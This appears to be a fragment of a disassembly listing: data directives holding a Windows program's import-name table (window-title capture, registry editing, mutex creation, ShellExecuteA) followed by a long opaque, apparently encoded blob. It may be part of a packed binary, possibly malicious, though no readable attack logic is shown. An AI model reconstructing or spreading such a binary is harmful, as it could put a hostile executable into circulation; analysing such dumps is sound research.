		dd 6C61636Fh, 65657246h, 65724300h, 54657461h, 61657268h
		dd 6E550064h, 5670616Dh, 4F776569h, 6C694666h, 614D0065h
		dd 65695670h, 46664F77h, 656C69h, 61657243h, 69466574h
		dd 614D656Ch, 6E697070h, 47004167h, 61626F6Ch, 6D654D6Ch
		dd 5379726Fh, 75746174h, 65470073h, 73694474h, 6572466Bh
		dd 61705365h, 78456563h, 65470041h, 69724474h, 79546576h
		dd 416570h, 54746547h, 436B6369h, 746E756Fh, 65755100h
		dd 65507972h, 726F6672h, 636E616Dh, 65724665h, 6E657571h
		dd 51007963h, 79726575h, 66726550h, 616D726Fh, 4365636Eh
		dd 746E756Fh, 49007265h, 64614273h, 65646F43h, 727450h
		dd 6D726554h, 74616E69h, 72685465h, 646165h, 74696E49h
		dd 696C6169h, 7243657Ah, 63697469h, 65536C61h, 6F697463h
		dd 6547006Eh, 72754374h, 746E6572h, 636F7250h, 49737365h
		dd 6E450064h, 43726574h, 69746972h, 536C6163h, 69746365h
		dd 44006E6Fh, 696C7075h, 65746163h, 646E6148h, 5300656Ch
		dd 72457465h, 4D726F72h, 65646Fh, 61657243h, 754D6574h
		dd 41786574h, 74736C00h, 79706372h, 736C0041h, 70637274h
		dd 416E79h, 45746547h, 7269766Eh, 656D6E6Fh, 6156746Eh
		dd 62616972h, 41656Ch, 7274736Ch, 41706D63h, 61654C00h
		dd 72436576h, 63697469h, 65536C61h, 6F697463h, 0D800006Eh
		dd 55004171h, 33524553h, 6C642E32h, 6547006Ch, 726F4674h
		dd 6F726765h, 57646E75h, 6F646E69h, 73490077h, 72616843h
		dd 68706C41h, 6D754E61h, 63697265h, 73770041h, 6E697270h
		dd 416674h, 57746547h, 6F646E69h, 78655477h, 46004174h
		dd 57646E69h, 6F646E69h, 53004177h, 4D646E65h, 61737365h
		dd 416567h, 41700000h, 56444100h, 33495041h, 6C642E32h
		dd 6552006Ch, 756E4567h, 6C61566Dh, 416575h, 44676552h
		dd 74656C65h, 6C615665h, 416575h, 4F676552h, 4B6E6570h
		dd 78457965h, 65520041h, 65755167h, 61567972h, 4565756Ch
		dd 52004178h, 65536765h, 6C615674h, 78456575h, 65520041h
		dd 65724367h, 4B657461h, 78457965h, 65470041h, 65735574h
		dd 6D614E72h, 43004165h, 74707972h, 656C6552h, 43657361h
		dd 65746E6Fh, 43007478h, 74707972h, 526E6547h, 6F646E61h
		dd 7243006Dh, 41747079h, 69757163h, 6F436572h, 7865746Eh
		dd 52004174h, 6C436765h, 4B65736Fh, 7965h, 4171D0h, 4C454853h
		dd 2E32334Ch, 6C6C64h, 6C656853h, 6578456Ch, 65747563h
		dd 0C8000041h, 4F004171h, 5541454Ch, 2E323354h,	6C6C64h
		dd 0C8FFh, 0
		dd 9C9B00h, 0D800h, 7400h, 2900h, 3B00h, 15800h, 41700h
		dd 5400h, 7D00h, 66E00h, 0E9A00h, 0B200h, 5E3800h, 19D700h
		dd 97E00h, 65400h, 3300h, 1C200h, 0BC700h, 21C00h, 1E400h
		dd 33900h, 0D22DFF00h, 0A668A8D2h, 7DD27D6Ch, 2CED58AEh
		dd 0D525A4A0h, 59D2D360h, 0D0456D74h, 0D298E9D2h, 0D2EC2EAEh
		dd 47782F2Dh, 0D2D7903Dh, 0A6D2CD58h, 0D150D65Dh, 0D298D2D2h
		dd 0D474D238h, 0D2DAC9EAh, 26E41EF5h, 2D2993C3h, 6D23565h
		dd 0C2ADEEA5h, 9B169322h, 481D360Dh, 0A77527E5h, 0C42824B1h
		dd 0C5D27CC1h, 0ACC106ACh, 0A4D2E15Fh, 2DD13EFCh, 6DD29505h
		dd 0E55AEC1h, 0D2B93F15h, 0A92279C6h, 4D16D2A9h, 0D2FDF2B2h
		dd 0DFD2D82Eh, 0A82249D2h, 0D2D2C13Ch, 0DD45D222h, 71615CD2h
		dd 0D22D217Ch, 9964512Ch, 9DBD17B5h, 0DB5DD2EBh, 0C52134D2h
		dd 21F9A0D2h, 0D9EA21A6h, 0D12C29D2h, 41D2DC6Dh, 0D276D221h
		dd 0B64C07A7h, 0AED12AC6h, 19BC6A5Eh, 0D12EC5A8h, 7538CBA6h
		dd 0D3D9ADD2h, 0B872524Bh, 0D247D2BFh, 7E701FA8h, 29EFB0A3h
		dd 0D93DD2C5h, 22BE0C2Dh, 2945299Bh, 0C61E2AA6h, 5BD0D16Ch
		dd 1ED2F3B7h, 0A6DCA5D2h, 0E0BB2DDDh, 0C42C8AE3h, 0C5D2C5D2h
		dd 0D12FC6D7h, 7B44D2C5h, 0E8A2A191h, 0D2292E21h, 736F5A04h
		dd 28F0AA9Ch, 29A0292Dh, 0C12D39A4h, 0D145D195h, 0FFECD9ECh
		dd 0CC7A4694h, 381E29F8h, 0D20969A6h, 0D259D22Fh, 1CECDD5Eh
		dd 7D296737h, 0AE2B2D2Ah, 0D6C5D2C0h, 0FCD2D9D2h, 0B36E534Eh
		dd 39FBFABAh, 1ED6C1A6h, 80F4551h, 38C5745h, 0A811FF08h
		dd 0D2FF0000h, 53D0219h, 2D060100h, 70C130Bh, 2D881FFh
		dd 1F1A0711h, 9060100h,	100050Eh, 14012400h, 0FF16020Dh
		dd 1602EAD2h, 0B29D2FFh, 168B0100h, 7110207h, 71102h, 16020601h
		dd 1241807h, 2002B2Ah, 81C1916h, 0D3C1FF21h, 0FF180379h
		dd 8616F1CEh, 0E2FF07h,	1916020Dh, 0D0C5FF1Ch, 0FF180601h
		dd 2B01D3DDh, 5D29FFh, 0FF0F0304h, 0DDFFD269h, 582B01D3h
		dd 1D3FFFFh, 51040304h,	50E003Dh, 0F1C4FF00h, 50E00h, 1301000Bh
		dd 1D15030Dh, 102C1100h, 462ED1FFh, 29610h, 1102000Bh
		dd 458DFF07h, 7110200h,	1356FFh, 20FF6111h, 65D2FFA6h
		dd 1C191102h, 763F010Eh, 0B4509FFh, 10C0100h, 7110206h
		dd 0C7001505h, 70C9FFFh, 1301000Bh, 1D070Ch, 1E3C2C16h
		dd 81FFE251h, 6010E2Fh,	0E09003Eh, 2014800h, 70C5D12h
		dd 44011602h, 0FF060100h, 0FF00EF88h, 1602B2C5h, 1621C19h
		dd 328AC5FFh, 0CDC4FF0Ah, 0C5FF0B37h, 2130B55h,	11C1916h
		dd 14010600h, 2516020Dh, 0E6525h, 0BC916h, 0D05C0401h
		dd 26C538FFh, 0FF1D0005h, 70C90C6h, 26000500h, 0FF010005h
		dd 39FF0A44h, 0B25162Ch, 7290206h, 9007634h, 2501744Ch
		dd 1000BC9h, 0FFD07B04h, 16002C19h, 31DAD2FFh, 0A080A43h
		dd 2602B6Fh, 11C1916h, 11C19h, 0A44FF01h, 162C39FFh, 2500B25h
		dd 10D2FF16h, 29028900h, 0A608FF1Ch, 1000BC9h, 2B57B04h
		dd 2045416h, 70C5429h, 38184418h, 0BC92516h, 7B040100h
		dd 71602B5h, 0D011FF18h, 57D2B01h, 21080100h, 1D101FFh
		dd 1C160000h, 11C2900h,	0D109FF00h, 20D1401h, 23A2529h
		dd 14D2FF16h, 1D109FFh,	4AA22FFh, 26A1602h, 367129h, 121B6516h
		dd 6AA613FFh, 36712902h, 12191600h, 6A1602B1h, 36712902h
		dd 6E191600h, 204792Eh,	29025A29h, 64367125h, 6A1602A7h
		dd 0FF542902h, 10064C4h, 0C04013Fh, 0A4040C1Ah,	248123Fh
		dd 64367129h, 40C6A25h,	4423FA4h, 36712902h, 0C6A2564h
		dd 423FA404h, 328C6FFh,	119ACEFFh, 16001C19h, 7116025Ah
		dd 0A7160241h, 526009Bh, 9F290200h, 0BC91602h, 7B040100h
		dd 2C19FFD0h, 0BC91602h, 7B040100h, 0FF070CD9h,	711AC31h
		dd 49003631h, 1FBD2902h, 0FF2B0100h, 1005D8Dh, 0FF0A44FFh
		dd 25162C39h, 89FF060Bh, 21301D7h, 186F1916h, 1D011FFh
		dd 5D89FF2Bh, 1000000h,	5429021Ah, 0C9160204h, 401000Bh
		dd 6265B57Bh, 0EBC4FF0Eh, 0FF180129h, 2B01D011h, 5D89FFh
		dd 16751801h, 3800AA4Eh, 8FF4E16h, 1480079h, 7FFF1202h
		dd 526009Bh, 0A9000100h, 50F0601h, 24060100h, 0CC6FF00h
		dd 180601A9h, 3DD069FFh, 6010005h, 2A002121h, 0A2FEC5FFh
		dd 22C6FF00h, 0D2FF0145h, 0FF0174C4h, 11FFC4D2h, 33A301D3h
		dd 78287737h, 0AA0885h,	81FF0C4Ch, 800AA2Fh, 3045728h
		dd 9D0383Bh, 0B7FFF85h,	0D1FF1013h, 30400A4h, 7E62FF06h
		dd 4B0E0900h, 3009800h,	0F00034Bh, 900054Fh, 54F120Fh
		dd 145FDD00h, 1E3C0000h, 0D2FFE95Bh, 0F229FF18h, 50005h
		dd 18FF0005h, 5BBD5h, 50005h, 0BBD118FFh, 50005h, 18FF0005h
		dd 8938FF2Dh, 3511E3Ch,	4000B0Dh, 120A0C03h, 2B4763FFh
		dd 3600054Ah, 0B0D3Dh, 0B58C5FFh, 2128FF50h, 568h, 0A0C0304h
		dd 0C539FF12h, 0FF500BAAh, 5682128h, 0C6FF0000h, 218EFF9Fh
		dd 36000568h, 3043400h,	0FF090F08h, 54F4538h, 34060100h
		dd 15007FFFh, 21FF0900h, 0C6FF07A0h, 1117084Dh,	0E0907h
		dd 8AFF511Eh, 70C002Eh,	900777Ch, 0FF0B000Eh, 0BD900h
		dd 0D1D9FF00h, 518B0601h, 5268Eh, 53C5FF2Ah, 65C4FF00h
		dd 0D2FF2900h, 0DDFF0021h, 0B01D1h, 0C5FF1C29h,	20601D1h
		dd 29020729h, 5D38FF07h, 0C5FF0005h, 0C1FF1805h, 28924ED5h
		dd 0D9C4FF00h, 2902001Dh, 7290207h, 0FF070F02h,	55D38h
		dd 16C2C5FFh, 0C1FF1801h, 0DCFF4ED5h, 96FF0051h, 6800001Dh
		dd 50005h, 38FF0129h, 26000559h, 0C5FF0005h, 0C1FF1883h
		dd 7A804ED5h, 57C4FF00h, 6010000h, 17080B67h, 0CC060100h
		dd 0D2FF2917h, 79290069h, 1C296900h, 29020D01h,	2045425h
		dd 70C5429h, 72902h, 68000B1Fh,	6010005h, 55138FFh, 2DC5FF00h
		dd 0D5C1FF18h, 7A1D4Eh,	0BE1C4FFh, 0FF2B0100h, 1005D89h
		dd 68298EFFh, 0FF010005h, 5BBD58Eh, 8EFF0100h, 5BBD1h
		dd 89FF2B01h, 0FF08005Dh, 1C16D588h, 375C0801h,	1000Bh
		dd 601B800h, 150017A5h,	7160200h, 682918FFh, 50005h, 54615h
		dd 1670601h, 26C4FF13h,	0FF09000Bh, 6A0F027Fh, 601000Bh
		dd 0BBD118FFh, 50005h, 0F69214Fh, 4F000B6Ah, 6010005h
		dd 0A00592Fh, 54A2B00h,	871C1900h, 0F025A0Fh, 2036525h
		dd 6436710Fh, 0FF792E19h, 0F21EAC6h, 0F870001h,	3035Ah
		dd 601B800h, 2C63FF49h,	9060100h, 7A0D1FFh, 682918FFh
		dd 50005h, 237C6FFh, 22020716h,	13600601h, 0FF4E1104h
		dd 2A01D602h, 1CC5FFh, 0F3233733h, 3130B10h, 0E092903h
		dd 50005h, 0C6FF0A32h, 1E330B2Eh, 8003F4Dh, 1F007828h
		dd 4521FF00h, 5AFFFh, 57469h, 8000000h,	28085728h, 4001D78h
		dd 763D0603h, 0FF0E0900h, 5002F29h, 90B3900h, 84DDh, 0FF157828h
		dd 4885AF39h, 0FF23130Bh, 2C013AC5h, 4522FF09h,	3400054Fh
		dd 9ACEFFh, 0FC511E3Ch,	70C001Ah, 61D0FFh, 22000E09h, 38FF0601h
		dd 0AF81FF81h, 130B4B06h, 122020Dh, 31FF2108h, 420001D7h
		dd 0C4FF0046h, 1D36h, 2072902h,	0FF060127h, 0D001F00h
		dd 1C191602h, 1D731FFh,	2A85C5FFh, 50C5FFh, 0BFDC4FFh
		dd 2060100h, 2060122h, 0D2FF0122h, 601001Dh, 0FF004192h
		dd 0D0B6AC5h, 8012202h,	16D188FFh, 11001D1Ch, 10F1807h
		dd 552382Bh, 21080100h,	21FF1220h, 0FF1D00ACh, 1B851C6h
		dd 122021Ah, 116020Dh, 2B01B818h, 55275h, 7D91F01h, 0FF010F18h
		dd 19FF0BC5h, 1F2A2A2Dh, 711020Bh, 17080B81h, 1D000122h
		dd 23BC6FFh, 5C080122h,	1010037h, 0D731FF18h, 0A3C5FF01h
		dd 122020Dh, 0B5DC5FFh,	853914FFh, 2C66FFF6h, 22020D38h
		dd 22020401h, 0B4FF01h,	122022Dh, 0FFA8F6FFh, 122ACF4h
		dd 0FF1AC5FFh, 2502C66h, 20D0122h, 0F6FF0122h, 18FF31A8h
		dd 100055Dh, 31FFD777h,	22C5FF09h, 502C66FFh, 0D012202h
		dd 0D2FF2D02h, 0FF2D02F6h, 18FFF5D2h, 0FF00055Dh, 207A009h
		dd 0FF060122h, 1AAAF19h, 9983FF06h, 0CEC5FF2Ah,	18130BEEh
		dd 0C5FF010Fh, 4200A8CFh, 0C75B81FFh, 0FF3733FCh, 31C1h
		dd 0EE97070Ch, 0FF17080Bh, 130B4FC5h, 7B073002h, 2130BEEh
		dd 20FF6183h, 65D2FFA6h, 1C198302h, 2073005h, 0B6F0783h
		dd 1EC6FF13h, 36718302h, 2041964h, 6018683h, 24078302h
		dd 0FFC7130Bh, 3002EA8Dh, 73002AFh, 2D80FF03h, 1F000552h
		dd 6010000h, 15033918h,	2A000568h, 0A9CC5FFh, 1A18C4FFh
		dd 76B0200h, 563Bh, 8DC5FF00h, 76B0217h, 2D09FF55h, 1C198302h
		dd 1DA31FFh, 71C5FFh, 1DCDC4FFh, 1000500h, 0B7B1506h, 30020D13h
		dd 29FF1C19h, 0C5FF01DBh, 31FF0052h, 0C5FF01DAh, 0FF000936h
		dd 1F1DB2C4h, 0C5FF0100h, 80B7B1Ah, 4B4E3017h, 6B02130Bh
		dd 1001FA6h, 7B3EC5FFh,	2D17080Bh, 7830207h, 5086Dh, 56FF0601h
		dd 0C2A00D5h, 72D0207h,	56938FFh, 55200h, 8380783h, 6010005h
		dd 66150033h, 222DC7FFh, 22D08FFh, 0FF1C192Dh, 2301D4C5h
		dd 45C5FF2Ah, 0FF18130Bh, 0FF01DB29h, 0FF2AB8C5h, 0FF001CC5h
		dd 300298C4h, 7830207h,	44013002h, 0BB060100h, 98F300D5h
		dd 152A0100h, 16020B00h, 6B170E07h, 0D9FF1C19h,	1D0001D8h
		dd 0FF47C6FFh, 0C01D8D9h, 0C5FF1807h, 0FFC501D4h, 9022D02h
		dd 7A00AFFh, 0FF078302h, 0FF03AFD9h, 1C0074C5h,	1D8D9FFh
		dd 0C6FF1D00h, 1930023Bh, 100BB4Ch, 98104Eh, 14850901h
		dd 25830098h, 0FFB4D2FFh, 20DD4DAh, 0F6D2FF6Bh,	0D2FF6B02h
		dd 4E6BACF4h, 6A39FFh, 6B020D01h, 2F6D2FFh, 0F5D2FF6Bh
		dd 55D18FFh, 0D7770100h, 0FF0931FFh, 6BFFC1C5h,	0F6FF542Ch
		dd 18FF31A8h, 0FF00055Dh, 207A009h, 0FF800783h,	10005AFh
		dd 800406h, 0E6C5FF2Ah,	0FF2D03FFh, 0FF01DA39h,	0FF2A99C5h
		dd 0AFFCCC5h, 0DA31FF2Dh, 50C5FF01h, 29C6FF00h,	0AD46E7FFh
		dd 21C1FF37h, 28207828h, 0D8FF39DBh, 800392Dh, 4B120F28h
		dd 0E41C0F28h, 0C531FF00h, 3130BD4h, 0FF000F00h, 1AFC98C4h
		dd 3130B00h, 4230000h, 3310603h, 0B4521FFh, 1B060300h
		dd 4521FF03h, 3000Bh, 4721FF03h, 30423h, 0D9FF8803h, 8EFF15A4h
		dd 3042Ch, 8F098F03h, 0DD002009h, 0FF6D33FFh, 417B1C5h
		dd 0D220004Dh, 0B005315h, 1F000313h, 0EF8809B1h, 21FF035Fh
		dd 3000B45h, 69FF2706h,	304232Ch, 2C69FF00h, 42DD0020h
		dd 330042FFh, 20511Eh, 2002009h, 21080127h, 0C4FF1CFEh
		dd 1523007Bh, 37AED9FFh, 81060127h, 2717080Bh, 0FF7B0601h
		dd 18062C69h, 0FF7C4EFEh, 20152D01h, 127000Bh, 4EFE1806h
		dd 20D0084h, 21080127h,	24000124h, 0FF2A2301h, 1FF10C5h
		dd 0E7C4FF2Dh, 5001Dh, 12FF0601h, 0DDFF0069h, 210801D6h
		dd 1D6DDFFh, 0E4EFE00h,	0C4FF0A32h, 12702B8h, 15DA0A08h
		dd 50831h, 0F8270601h, 20D130Bh, 21080127h, 1D6D9FFh, 0D6D9FF00h
		dd 27024001h, 2A56B901h, 329BC5FFh, 6EC4FF0Ah, 12700h
		dd 80A0601h, 0FF010005h, 271788C5h, 0F210801h, 214B0B01h
		dd 1272Fh, 501F4EFEh, 0DAC4FF00h, 0FF12000Bh, 52E8AE01h
		dd 22FF0120h, 0FE18009Ah, 0A325E4Eh, 0BE8C4FFh,	4341200h
		dd 0D012703h, 12FFF80Eh, 0FF2A562Ch, 502AC5h, 0FFB9C4FFh
		dd 130BAF81h, 127020Dh,	1F32108h, 0FC4EFE00h, 0C4FF0092h
		dd 127004Eh, 1270204h, 41B3A0Ch, 1F46500Ch, 0DDFF180Bh
		dd 0C5FF01D6h, 12717BEh, 41B3A0Ch, 246500Ch, 1B500127h
		dd 127020Dh, 3582808h, 0FF01F300h, 130B75C5h, 0E24EFE18h
		dd 0CEFF4800h, 0AFF00CEh, 127002Dh, 4EFE1806h, 7C5FFh
		dd 127020Dh, 1242108h, 23012400h, 2CC5FF2Ah, 0FE18130Bh
		dd 2B23004Eh, 645D81FFh, 40012702h, 0B9012702h,	18D231FFh
		dd 0C5FF01F3h, 130B05E6h, 0FF4EFE18h, 0C6FF00E7h, 2A01F377h
		dd 27020B1Fh, 0BBA0601h, 1271708h, 1270250h, 127020Dh
		dd 272F2108h, 1F30001h,	0B5AC5FFh, 4EFE1813h, 0FF00D1B9h
		dd 113528C6h, 3CE4D2FFh, 1EC1FF1Eh, 0C1FF1EA9h,	511EA91Eh
		dd 2E82FF15h, 72D0200h,	80B051Dh, 0DCC5FF17h, 2130B14h
		dd 0F02072Dh, 0BE6FF07h, 88FF0813h, 1000155h, 1C2D000Bh
		dd 0FF1F0100h, 0FF0C7432h, 86FFDED2h, 8D87FF4Bh, 0A62D023Bh
		dd 0FF0C0A13h, 86FFDED2h, 0AE87FF4Bh, 206011Ch,	2D02070Fh
		dd 1004401h, 7FFF06h, 452AFF1Fh, 6010002h, 2C69FF28h, 2070C00h
		dd 38FF072Dh, 2B00054Dh, 5266Dh, 7A008FFh, 44012D02h, 0FF060100h
		dd 0C5D84C1h, 12D0207h,	6010044h, 4E2D172Eh, 0FF00E1D7h
		dd 2BFFE0C4h, 72D002Dh,	0B128CFFh, 612D0213h, 0FFA620FFh
		dd 2D0265D2h, 4630119h,	36712D02h, 421C1964h, 0F020400h
		dd 250F025Ah, 710F026Ah, 2A76436h, 0F026A2Dh, 19643671h
		dd 9F0F0204h, 6010001h,	38C0FFh, 2D020432h, 21A0186h, 2D02070Fh
		dd 55060186h, 5E2C13FFh, 6A2DD800h, 36710F02h, 2041964h
		dd 0F026A2Dh, 19643671h, 6A2D0204h, 91250F02h, 61643B01h
		dd 0D854FF4Ch, 0E6C4FF01h, 6215A611h, 6010005h,	814177Fh
		dd 56095E21h, 50615h, 0BD10601h, 2070C13h, 39FF072Dh, 2E130B13h
		dd 2000B79h, 0FF060100h, 0A006F1Bh, 2108A109h, 1556095Eh
		dd 6A869FFh, 130BE2FFh,	2D02070Ch, 0FF97FF07h, 19FF2C10h
		dd 1D01D4h, 6010002h, 15130BACh, 72D025Eh, 2C10FF49h, 2441500h
		dd 541072Dh, 0FF17080Bh, 21CAE10h, 0FF060100h, 130B1062h
		dd 2D02070Ch, 10FF7E07h, 0D419FF2Ch, 4001A01h, 44012D02h
		dd 39060100h, 0FF4E2D17h, 0A134403h, 3733C4FFh,	0DAFF072Dh
		dd 2130B11h, 20FF612Dh,	65D2FFA6h, 1192D02h, 2D020463h
		dd 19643671h, 9F2D02ABh, 1000001h, 102BFF06h, 20D130Bh
		dd 0FF1C190Fh, 3D01D531h, 5A0F0042h, 0FF4F070Ch, 172D66h
		dd 1602072Dh, 66FFA107h, 862D172Dh, 2D020601h, 1100FF07h
		dd 0C6FF130Bh, 0D211FF28h, 50F1501h, 4F060100h,	5C2C11FFh
		dd 171C1916h, 6010044h,	2D88FF35h, 29C5FF2Ah, 0C4FF0015h
		dd 16001DD9h, 0FF070C5Ah, 130B4092h, 9F160204h,	2060146h
		dd 8CFF0701h, 0FF130B16h, 0B40E9C5h, 192D020Dh,	0AA0B011Ch
		dd 2361718h, 0DAD2FF16h, 0FF0A4331h, 206F5DAh, 2202072Dh
		dd 16020601h, 72D0207h,	2070102h, 1602072Dh, 8017D07h
		dd 0E8191617h, 1718AA09h, 0FF160236h, 4331DAD2h, 0F5DAFF0Ah
		dd 72D0206h, 6012202h, 2071602h, 102072Dh, 72D0207h, 46071602h
		dd 16170801h, 3096A19h,	0D2FF3F01h, 0A4331DAh, 6F5DAFFh
		dd 2072D02h, 2060122h, 2D020716h, 7010207h, 12192D4Fh
		dd 2791916h, 0A716000Bh, 0D2FF0F02h, 0A73F64EDh, 0D2FF0F02h
		dd 0AF2E4799h, 2A540F02h, 0FF2D0204h, 0C5FFECD2h, 0F020D27h
		dd 0FF011C19h, 4E0FACF4h, 500B7E32h, 8542D02h, 682D88FFh
		dd 1D180FFh, 5D18FF31h,	77010005h, 931FFD7h, 2D02070Ch
		dd 1004401h, 13171706h,	0FF120201h, 0FF07A022h,	3FA28138h
		dd 2 dup(160236A7h), 31DAD2FFh,	6140A43h, 6015300h, 2BAF01FFh
		dd 57469h, 39210801h, 0A73F5FB9h, 220200CAh, 2D020601h
		dd 1004401h, 8EFF5006h,	0EC6FF2Dh, 2070F02h, 44012Dh, 2BFF0601h
		dd 0FF01208Eh, 4531C5h,	0CC22C6FFh, 0FF0122D6h,	0A30175C4h
		dd 0C1FF37ADh, 782839h,	130B001Ah, 1F000003h, 931F57FFh
		dd 0FFA1D91Fh, 3D00FFCEh, 0DD28FF6Dh, 0C5FF0000h, 20281392h
		dd 48B1503h, 98080603h,	3048B00h, 9009800h, 2F21FF0Eh
		dd 2D01FF00h, 25B0003h,	45C1FF00h, 3C000014h, 0FF0B511Eh
		dd 5F231h, 0B009600h, 5D600h, 0D3DDFF00h, 0FF214F01h, 0FF01D3DDh
		dd 214F2D08h, 1D3DDFFh,	4F2D08FFh, 0D3DDFF21h, 4F001A01h
		dd 0D3DDFF21h, 214FD801h, 1D3DDFFh, 0FF2D30FFh,	0DDFF42C6h
		dd 0F60C01D3h, 0DDFF214Fh, 6B201D3h, 0D3DDFF21h, 21D16001h
		dd 1D3DDFFh, 0FF2DD0FFh, 310C6h, 6 dup(5D60Fh),	2890900h
		dd 25D2FF11h, 0D2FF2E47h, 5ABFFD1h, 4230100h, 0D0144403h
		dd 0E000A80h, 0E005980h, 0FF031780h, 3049DD2h, 49DD2FFh
		dd 9DD2FF03h, 0D2FF0304h, 0FF03049Dh, 3049DD2h,	49DD2FFh
		dd 9DD2FF03h, 20090304h, 5ABFF75h, 3000000h, 434126Dh
		dd 0E18B5C03h, 7118B15h, 26000500h, 1F0005h, 1FF070Ch
		dd 74692BAFh, 20FF0005h, 5ABFF45h, 0D580000h, 152D8CFFh
		dd 8CFF7A58h, 5762B2Dh,	3000000h, 593D04h, 594F0E10h, 1F1A6100h
		dd 5B1E330Bh, 0FF122000h, 29FFA633h, 38FF122Fh,	2D0AFF45h
		dd 552h, 30E5C00h, 38FF121Dh, 2D0AFF45h, 552h, 441F6E00h
		dd 53280800h, 19FF2009h, 84FF005Fh, 7700002Fh, 17080Bh
		dd 6CC5FFh, 7828082Eh, 130B7685h, 30D5E2Bh, 2000002Eh
		dd 10000303h, 120E3846h, 0D030434h, 10000303h, 3200317h
		dd 5531004h, 4201F39h, 17AB0603h, 0E531004h, 38FF000Bh
		dd 55211h, 2DC1FF28h, 24000000h, 0FF00030Dh, 0FF08A6C1h
		dd 0CFFFA511h, 9242808h, 92275947h, 0AE10000h, 3130B44h
		dd 19FF2B00h, 0B1F005Fh, 9440A00h, 20C5FF2Fh, 202C19FFh
		dd 0FF7DDDFFh, 80B1ED0h, 2FDDFF17h, 39FF1200h, 398509D2h
		dd 1538FF06h, 0FF00030Dh, 40036DC5h, 12000B03h,	3030447h
		dd 440A0003h, 39FF0D1Eh, 1004032Ch, 20002E2Fh, 3030D03h
		dd 1E440A00h, 120E620Dh, 0D030434h, 0A000303h, 620D1E44h
		dd 69FF4488h, 0FF440A2Ch, 0D2F2C69h, 42769FFh, 43B8814h
		dd 3042000h, 0C2F1004h,	0A8E0C5FFh, 17080Bh, 4446C5FFh
		dd 75440346h, 0C431FF1Dh, 0FDD3C7FFh, 20330A32h, 19C1FF4Fh
		dd 3390000h, 38FF120Ah,	2D0AFF45h, 552h, 1270200h, 1270204h
		dd 129222FFh, 0FF4538FFh, 5522D0Ah, 63000000h, 1270204h
		dd 31FF2B82h, 801005Fh,	15321h,	26C4D2FFh, 2700001Dh, 0FF070C01h
		dd 3006DDBh, 0D34C1202h, 2408001Dh, 1F5C1202h, 0D6D9FF00h
		dd 0EF0A0801h, 20D38FFh, 21080127h, 1D6DDFFh, 5F09FF00h
		dd 0FF010000h, 0FF001DD2h, 98155B39h, 55200h, 1000000h
		dd 11DD2FFh, 141F06h, 0EBC4FFh,	4630A42h, 4F012702h, 2048B5Ch
		dd 5C080127h, 19B51F37h, 20D38FFh, 21080127h, 1D6DDFFh
		dd 5F09FF00h, 0FF010000h, 0FF001DD2h, 98155B39h, 55200h
		dd 1000000h, 11DD2FFh, 0FF003306h, 0FF0705C6h, 3401D8Fh
		dd 5520098h, 63000000h,	1F930E1Fh, 2070C47h, 4A10127h
		dd 0FF061D14h, 0CEFF1538h, 0CC060A9Ah, 6012717h, 34044F8h
		dd 5520098h, 1000000h, 390906h,	0DAFF0304h, 0FF0A43F5h
		dd 5D6C508h, 0FF012700h, 38FF9A22h, 1270205h, 10F2108h
		dd 2486100h, 0D2FF0127h, 31FF001Dh, 98155Bh, 552h, 0D2FF010Fh
		dd 28EFF1Dh, 2808130Bh,	1270220h, 200906h, 0FF28C6FFh
		dd 0D2FF11F4h, 31FFADE4h, 90E282Dh, 0FF00000Eh,	622B35C1h
		dd 0B0280005h, 9E00050Dh, 5, 0FF280005h, 2DC1h,	59Eh, 59E00h
		dd 59E0000h, 9E000000h,	5, 59Eh, 59E00h, 59E0000h, 9E000000h
		dd 5, 59Eh, 28000500h, 1575120Fh, 53B7Ch, 59Eh,	59E00h
		dd 59E0000h, 9E000000h,	5, 5480005h, 59E00h, 59E0000h
		dd 9E000000h, 5000005h,	4510FF00h, 10FF0005h, 0FF000541h
		dd 54928h, 2E002Eh, 38FF4415h, 28000579h, 53BBFh, 59Eh
		dd 28000500h, 0D62DC5FFh, 59E0005h, 0ADC0000h, 2C00FFh
		dd 6013502h, 0B0013FFh,	0C5FF1708h, 2C00FF00h, 6013502h
		dd 350213ABh, 75210801h, 6000135h, 34C5FF01h, 0A2C4FF00h
		dd 6013502h, 0FF013502h, 1001DD2h, 1500C106h, 135009Bh
		dd 47C5FFh, 4013502h, 8013502h,	3538375Ch, 0B0001h, 0C6FF2301h
		dd 730200EEh, 35381807h, 3EC5FF01h, 0D2D38FFh, 2108F202h
		dd 3100F231h, 70CE9F2h,	0F130B06h, 38186FB9h, 0C5FF0135h
		dd 43C4FFA1h, 15003F01h, 5C285FFh, 0FF060100h, 130B013Ah
		dd 71DC6FFh, 206F202h, 0FF060135h, 0C000A63h, 0C285FF07h
		dd 0D000005h, 6010005h,	0F202130Eh, 7730206h, 0B06DEFFh
		dd 39FF1513h, 0C5FF00AFh, 130B50CDh, 8FFF070Ch,	6130B06h
		dd 18077302h, 0FF013538h, 2ADB21C5h, 56E1C5FFh,	18011100h
		dd 0FF013575h, 678C4C5h, 0A8C5FF01h, 37330A32h,	85782877h
		dd 9001DA8h, 3EA2AFFh, 8000000h, 0FF1F5728h, 8809D22Bh
		dd 7E50EFh, 6030423h, 2D32FF92h, 4030E28h, 4508000Bh, 3950Fh
		dd 900050Fh, 6D10FFDDh,	1E01C5FFh, 4D1E3C00h, 0FF42B900h
		dd 46009ACEh, 30D9C10h,	30D3838h, 100E7828h, 462ED1FFh
		dd 0E3209C10h, 1B030001h, 463DC5FFh, 1E339C10h,	1D030D4Dh
		dd 0AE63FF12h, 1DAE0BFFh, 0E49C6FFh, 0AD000Eh, 2F0E0E10h
		dd 2DD3FF00h, 1391C5FFh, 0E100424h, 1500010Eh, 0FF2DD3FFh
		dd 2413B5C5h, 0E0E1004h, 0D3FF1C01h, 59C5FF2Dh,	10042400h
		dd 1E3C0E0Eh, 947C1FFh,	0Eh, 17080B46h,	47C1FF04h, 54938h
		dd 0B070AFFh, 28FF1708h, 0B4AA4847h, 0FF000549h, 80B0721h
		dd 4728FF17h, 5495E48h,	4DCFF00h, 0FF090A00h, 0FF484728h
		dd 44154730h, 0A000E09h, 4728FF09h, 0A321D48h, 574D1EA9h
		dd 2BFF038Ch, 1CC6FF58h, 2300360Eh, 0B6EC5FFh, 0F000313h
		dd 472AFF1Ch, 0C629FF48h, 330A320Ah, 34065B1Eh,	580C2C01h
		dd 48000313h, 34591Eh, 6CDDFF03h, 30D00ECh, 4BD9C5FFh
		dd 128A0000h, 0EA2AFFF1h, 30003h, 0CBC5D9FFh, 5B040320h
		dd 5C070100h, 5CECEFFh,	12150000h, 5CECEFFh, 0CEFF0000h
		dd 4D0005CEh, 0D23AFF0Bh, 33538FFh, 0C5FF23E9h,	2808004Fh
